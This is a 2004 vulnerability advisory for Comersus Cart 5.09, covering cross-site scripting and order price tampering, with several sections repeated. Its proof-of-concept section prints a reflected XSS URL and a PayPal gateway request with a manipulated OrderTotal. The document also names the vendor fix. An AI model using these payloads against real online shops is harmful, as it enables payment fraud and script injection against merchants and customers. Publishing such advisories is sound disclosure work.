Comersus Open Technologies Comersus Cart Multiple Vulnerabilities
BID:10674
Info
Comersus Open Technologies Comersus Cart Multiple Vulnerabilities
| Bugtraq ID: | 10674 |
| Class: | Unknown |
| CVE: |
CVE-2004-0681 CVE-2004-0682 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 07 2004 12:00AM |
| Updated: | Jul 12 2009 06:16AM |
| Credit: | Discovery is credited to Thomas Ryan of Provide Security. |
| Vulnerable: |
Comersus Open Technologies Comersus Cart 5.0 9 |
| Not Vulnerable: |
Comersus Open Technologies Comersus Cart 5.0 98 |
Discussion
Comersus Open Technologies Comersus Cart Multiple Vulnerabilities
Comersus Cart is reported prone to multiple vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting attacks and manipulate parameters to change the price of an order.
Comersus Cart version 5.09 is affected by these issues, however, other versions may be prone to these vulnerabilities as well.
Comersus Cart is reported prone to multiple vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting attacks and manipulate parameters to change the price of an order.
Comersus Cart version 5.09 is affected by these issues, however, other versions may be prone to these vulnerabilities as well.
Exploit / POC
Comersus Open Technologies Comersus Cart Multiple Vulnerabilities
No exploit is required.
The following proof of concept examples are available:
XSS:
http://www.example.com/comersus/backofficeLite/comersus_backoffice_message.asp?message=<script>alert("VULNERABLE_TO_XSS")</script>
Order Manipulation:
http://www.example.com/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002&OrderTotal=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan&address=123+Easy+Modify+Street&city=New+York&state=NY&zip=10001&country=US&phone=212%2D857%2D1731&email=tommy%40providesecurity%2Ecom&orderDetails=1x+%23RDHT%2F11+Red+Hat+Deluxe+WorkStation+Options%3A+%3D+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Millennium+Edition+Options%3A+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Want+to+Be+President%3F+Options%3A+%3D+%2414%2E39%0D%0A
No exploit is required.
The following proof of concept examples are available:
XSS:
http://www.example.com/comersus/backofficeLite/comersus_backoffice_message.asp?message=<script>alert("VULNERABLE_TO_XSS")</script>
Order Manipulation:
http://www.example.com/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002&OrderTotal=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan&address=123+Easy+Modify+Street&city=New+York&state=NY&zip=10001&country=US&phone=212%2D857%2D1731&email=tommy%40providesecurity%2Ecom&orderDetails=1x+%23RDHT%2F11+Red+Hat+Deluxe+WorkStation+Options%3A+%3D+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Millennium+Edition+Options%3A+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Want+to+Be+President%3F+Options%3A+%3D+%2414%2E39%0D%0A
Solution / Fix
Comersus Open Technologies Comersus Cart Multiple Vulnerabilities
Solution:
The vendor has released Comersus Cart 5.098 to address these issues. Please contact the vendor to obtain the fixed version.
Solution:
The vendor has released Comersus Cart 5.098 to address these issues. Please contact the vendor to obtain the fixed version.
References
Comersus Open Technologies Comersus Cart Multiple Vulnerabilities
References:
References:
- Comersus Cart Homepage (Comersus Open Technologies)
- Comersus 5.098 XSS Vulnerable (Abdul Azis
- Comersus Cart Cross-Site Scripting Vulnerability ("Thomas Ryan"
- Comersus Cart Improper Request Handling ("Thomas Ryan"